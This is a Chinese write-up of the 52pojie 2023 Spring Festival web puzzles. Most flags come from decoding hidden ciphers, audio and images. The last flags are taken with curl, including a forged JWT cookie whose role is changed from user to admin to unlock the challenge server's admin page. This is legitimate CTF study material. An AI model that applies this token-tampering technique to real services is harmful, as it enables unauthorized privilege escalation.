吾爱春节web题writeup
这次吾爱的web题很接近ctf,大部分题难度不大,萌新友好
原视频:吾爱破解【2023春节】解题领红包之Web题_哔哩哔哩_bilibili
flag1
明牌
flag1{52pojiehappynewyear}
flag2
直接扫这个二维码
得到链接:https://2023challenge.52pojie.cn/?flag=flag2{878a48f2}
可以看到flag2就在参数里
flag2{878a48f2}
flag3
视频00:26右下角
吾爱破解logo变成了以下字符串:
iodj3{06i95dig}
字符串形似flag,考虑iodj各前移3个字母正好是flag,可推断其为凯撒密码加密,偏移量3,数字和符号不位移
由此,可得flag3
flag3{06f95afd}
flag4
留意到视频制作者b站的个性签名
base64解码,得到flag4
flag4{9cb91117}
flag5
视频00:30-00:38有发电报声,考虑摩尔斯电码
听译内容:FLAG5EAIT
补上{}即可得出flag5
flag5{eait}
flag6
在视频开头几秒,很容易能听出是拨号音
根据知乎大佬 https://www.zhihu.com/question/19780683/answer/12940239 的讲解,按键音对应频率如下表(横行频纵列频,单位Hz)
|
1209 |
1336 |
1477 |
1633 |
697 |
1 |
2 |
3 |
A |
770 |
4 |
5 |
6 |
B |
852 |
7 |
8 |
9 |
C |
941 |
* |
0 |
# |
D |
导入au,查看频率,可得flag6
flag6{590124}
flag7
视频00:22-00:27的上方跑过一串二进制数字,共计120位,考虑是ascii的二进制表示
打开网站:ASCII码一览表,ASCII码对照表
按照8位一组给那串二进制数字分段,如下:
01100110 f
01101100 l
01100001 a
01100111 g
00110111 7
01111011 {
00110101 5
01100100 d
00110000 0
00110110 6
01100010 b
01100101 e
00110110 6
00110011 3
01111101 }
由此得出flag7
flag7{5d06be63}
flag8
藏在音频中
打开au,导入音频,显示频谱,可得flag
flag8{c394d7}
flag9
视频最后几秒有杂音,怀疑是音频倒放
au导入,效果-反向
可以听到flag9
flag9{21c5f8}
flag10
这个真不知道,没对上脑电波,期待大佬讲解。
flag11
留意到视频00:31下方有这样的字符串:
++++++++++[>++++++++++>++++++++++>+++++>++++++++++++<<<<-]>++.++++++.>---.<-----.>>-..>+++.<+++++.---.+.---.+++++++.<+++.+.>-.>++.
查了下资料,这种加密方式叫做brain fuck
百度找到解码网站:Brainfuck/Ook! Obfuscation/Encoding
粘贴,解码,得到flag11
flag11{63418de7}
flag12
视频背景联想到是盲水印,但尝试调图层色调什么的没找到,后来看其他人的解析知道是傅里叶变换。
flagA
视频中提到了一个网址
https://2023challenge.52pojie.cn
但无法通过浏览器访问
尝试nslookup,发现没有A和AAAA记录
C:\Users\zxq\Downloads>nslookup 2023challenge.52pojie.cn
服务器: UnKnown
Address: fe80::a639:b3ff:fe73:fec3
*** 没有 2023challenge.52pojie.cn 可以使用的 internal type for both IPv4 and IPv6 Addresses (A+AAAA)记录
根据视频提示,该站点和吾爱主站是同一台服务器,因此可以直接nslookup主站,然后改hosts即可访问。
但这题的题眼在请求头和响应头里,用浏览器不是太方便,因此以下用的是curl
如何在不修改host的情况下使用curl请求没有dns记录的网站(即自定义名称解析):
给curl加参数--resolve=url:port:ip
,如本题加的参数为--resolve 2023challenge.52pojie.cn:443:124.232.185.97
来源:https://zhuanlan.zhihu.com/p/424679851
下面开始正题:
首先尝试获取网页
curl -v https://2023challenge.52pojie.cn --resolve 2023challenge.52pojie.cn:443:124.232.185.97
可以留意到响应头内有这么一句:
< X-Dynamic-Flag: flagA{Header X-52PoJie-Uid Not Found}
这里在暗示我们,该请求需要加请求头X-52PoJie-Uid
让我们加上(这里以我的uid722361为例),再试一次
curl -H "X-52PoJie-Uid: 722361" -v https://2023challenge.52pojie.cn --resolve 2023challenge.52pojie.cn:443:124.232.185.97
可以看到响应头变成了这个(该条为2023-1-30 0:00获取 注意有效期):
< X-Dynamic-Flag: flagA{a1d29312} ExpiredAt: 2023-01-30T00:10:00+08:00
由此,可得flagA
flagB
视频中提到的网址https://2023challenge.52pojie.cn无法通过浏览器访问
尝试nslookup,发现没有A和AAAA记录
C:\Users\zxq\Downloads>nslookup 2023challenge.52pojie.cn
服务器: UnKnown
Address: fe80::a639:b3ff:fe73:fec3
*** 没有 2023challenge.52pojie.cn 可以使用的 internal type for both IPv4 and IPv6 Addresses (A+AAAA)记录
想到了hackergame2019的一道题
尝试查询txt记录,有了答案
C:\Users\zxq\Downloads>nslookup -qt=txt 2023challenge.52pojie.cn
服务器: UnKnown
Address: fe80::a639:b3ff:fe73:fec3
非权威应答:
2023challenge.52pojie.cn text =
""_52pojie_2023_happy_new_year=flagB{substr(md5(uid+\"_happy_new_year_\"+floor(timestamp/600)),0,8)}""
提取关键信息:
flagB{substr(md5(uid+\"_happy_new_year_\"+floor(timestamp/600)),0,8)}
可以看到flagB由一串字符的md5的前八位组成,这串字符由三部分组成:论坛uid,字符串"_happy_newyear\",当前时间戳除以600向下取整的值(这一点证明该串仅在10分钟内有效)
以本人(uid:722361)写文章的时刻(2023-01-29 16:16:16)为例,这串字符为:722361_happy_new_year_2791633
这里给出生成flagB的Python代码:
import hashlib
import time
uid = input('input uid: ')
a = '_happy_new_year_'
b = str(int(time.time())//600)
c = uid + a + b
d = hashlib.md5(c.encode('utf-8')).hexdigest()[0:8]
print('flagB{' + d + '}')
flagC
这题与其用浏览器,还是curl解起来更方便/doge
话不多说,直接开干
curl -v https://2023challenge.52pojie.cn/login --resolve 2023challenge.52pojie.cn:443:124.232.185.97
可以看到返回的网页结构如下(为方便展示做格式化处理):
<form method="POST">
吾爱破解 UID:
<input type="text" name="uid" disabled>
<input type="submit">
</form>
那么就能知道,直接向这个地址POST我的UID就可以了
curl -v https://2023challenge.52pojie.cn/login -X POST -d 'uid=722361' --resolve 2023challenge.52pojie.cn:443:124.232.185.97
截取关键响应头信息如下:
< HTTP/1.1 302 Found
......
< Location: /home
< Set-Cookie: 2023_challenge_jwt_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiI3MjIzNjEiLCJyb2xlIjoidXNlciJ9.PrrMxyc9Ya2xXM5lclYK_bva9CQQWRIS65tm_y1Qt_k; max-age=600; domain=2023challenge.52pojie.cn; path=/; HttpOnly; SameSite=Strict
可以看到他Set了一个名为2023_challenge_jwt_token
的cookie,然后一个302跳转到网站的home目录
接下来带着这个cookie访问home目录:
curl -v https://2023challenge.52pojie.cn/home -H "Cookie: 2023_challenge_jwt_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiI3MjIzNjEiLCJyb2xlIjoidXNlciJ9.PrrMxyc9Ya2xXM5lclYK_bva9CQQWRIS65tm_y1Qt_k" --resolve 2023challenge.52pojie.cn:443:124.232.185.97
网站响应:您不是 admin,你没有权限获取 flag
问题不大/doge
百度搜索了下jwt,发现一篇讲解文章:https://www.jianshu.com/p/fa957f32806a#1675008862151
其由三部分组成,每个部分都是base64编码的,且服务器不存储这个token,那么就存在改变token内容的可能性
找到可以解码jwt的网站:https://jwt.io,把得到的jwt粘进去
很明显,"role": "user"
引起了我的兴趣
果断改成admin,编码回jwt,粘贴到curl里,重新请求
curl -v https://2023challenge.52pojie.cn/home -H "Cookie: 2023_challenge_jwt_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOiI3MjIzNjEiLCJyb2xlIjoiYWRtaW4ifQ.kekv_gBSrBrkiBK7oKV0OGq0ytoHeicoSLUhkAvEaLw" --resolve 2023challenge.52pojie.cn:443:124.232.185.97
服务器响应:欢迎,admin。您的 flag 是 flagC{8aa7da1b},过期时间是 2023-01-30T00:50
很明显,拿下flagC(注意过期时间,三个动态flag均为整10分钟时刻过期)